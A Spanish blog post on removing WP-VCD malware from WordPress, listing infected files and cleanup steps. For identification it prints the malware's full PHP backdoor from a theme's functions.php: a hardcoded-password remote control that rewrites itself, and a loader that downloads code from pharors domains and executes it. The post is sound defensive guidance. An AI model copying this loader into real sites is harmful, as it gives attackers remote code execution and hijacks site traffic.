Cómo eliminar malware WP-VCD en WordPress
El malware WP-VCD. Es de un tipo de código malicioso que en muy poco tiempo se ha vuelto bastante común en instalaciones de WordPress y es utilizado para generar URLs de spam con las que deriva trafico de tu sitio a estas nuevas rutas. Una técnica habitual dentro del black hat SEO.
Si además de mi, Tú te has encontrado en esta situación y no sabes que hacer, lee este post en el que te voy a brindar algunas indicaciones sobre cómo solucionar este problema.
Al momento de llevar a cabo un desarrollo web WordPress tiene grandes ventajas, ya que cuenta con una gran comunidad que es cada vez mayor por tal motivo lamentablemente WordPress es susceptible de numerosos ataques, ya sean por personas, bots o malwares que en su mayoría no son de mucha gravedad, pero sí que pueden causarte un fuerte dolor de cabeza cuando la infestación se replica en toda tu red.
Hace unos días contraté un servicio de Google para publicitar una web de un cliente y la respuesta que me dio Google es que no podía brindarme el servicio por que la página web tenia Malware, imagínense mi sorpresa.
Instale una serie de plugin para inspeccionar la web pero no obtuve respuesta solo Wordfense encontró el problema, pero tampoco me daba una solución por que tenía que pagar, pero siempre queda la duda, por que la desinfección que brinda en su modo más básico es eliminar el archivo infectado y todos entendemos que solo deben borrarse los estractos de código malicioso.
¿Cómo ha ingresado en mi web este malware?
Existen varias maneras en las que tu web ha podido quedar expuesta a este virus, aunque las más probables podrían ser:
1 – Quizás entró en nuestro sitio a través de alguna vulnerabilidad. Quizás WordPress tenga alguna brecha, aunque lo más seguro es que esté en el tema o algún de los plugin instalado con la versiones nulled, (piratas).
2 – Tu proyecto está en un hosting donde otras páginas webs pueden acceder y algunas de ellas están infectadas. A este script le gusta replicarse en todas las webs que tenga cerca.
¿Dónde se encuentran los archivos infectados por este Malware?
El malware se encuentra generalmente en cinco archivos de nuestra instalación de WordPress, aunque a veces falta alguno de los tres primeros y archivos que afecta son los siguientes:
- wp-includes/wp-tmp.php
- wp-includes/wp-vcd.php
- wp-includes/wp-feed.php
- wp-includes/post.php
- wp-content/themes/mi-tema/functions.php
Es necesario tener en cuenta que una cosa es el malware y otra muy diferente es el instalador de este. Para que el malware pueda expandirse este usa un instalador que inyecta el código en nuestro archivos. Como supondrás, para evitar que vuelva a inyectarse deberás eliminarlo también o no servirá de mucho la limpieza de los anteriores archivos.
Para ser un poco más exacto, tengo que es necesario indicar que en realidad hay varios archivos mas, uno principal que es el que despliega el malware y luego otros secundarios que lo extienden haciendo que salte también entre los diferentes sitios.
El principal se encontrará en un tema o en un plugin. Tendrás que revisar los directorios correspondientes para encontrarlos. Los archivos de los que te hablo son:
- class.theme-modules.php
- class.plugin-modules.php
Muchas veces no se encuentran los dos a la vez, pero si ese fuera el caso, has sido infectado por partida doble.
Te digo como hacerlo
Primero entraremos en la carpeta wp-includes y eliminaremos los archivos wp-vcd.php, tmp.php y feed.php (quizás falte alguno de ellos).
Después, localizaremos post.php, lo abriremos y buscaremos en el encabezado el fragmento que indico a continuación para eliminarlo completamente:
<?php if (file_exists(dirname(__FILE__) . ‘/wp-vcd.php’)) include_once(dirname(__FILE__) . ‘/wp-vcd.php’); ?>
En tercer lugar iremos a en wp-content/themes/mi-tema/functions.php para abrirlo. En su interior encontraremos al comienzo este otro script, considerablemente más grande y lo eliminaremos también.
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f61acf217cd3519fe7e450a1e641b5f4'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='fdaa79a46958cbc1ce3a557718ec5670';
if (($tmpcontent = @file_get_contents("http://www.pharors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.pharors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.pharors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.pharors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>
Por último buscaremos los archivos de instalación original class.theme-modules.php o class.plugin-modules.php
Tienes que tener en cuenta que este artículo lo escribo en un momento concreto y hablamos de un malware que puede cambiar o mutar con el tiempo.
Espero que esta información te haya útil.
Jorge Binda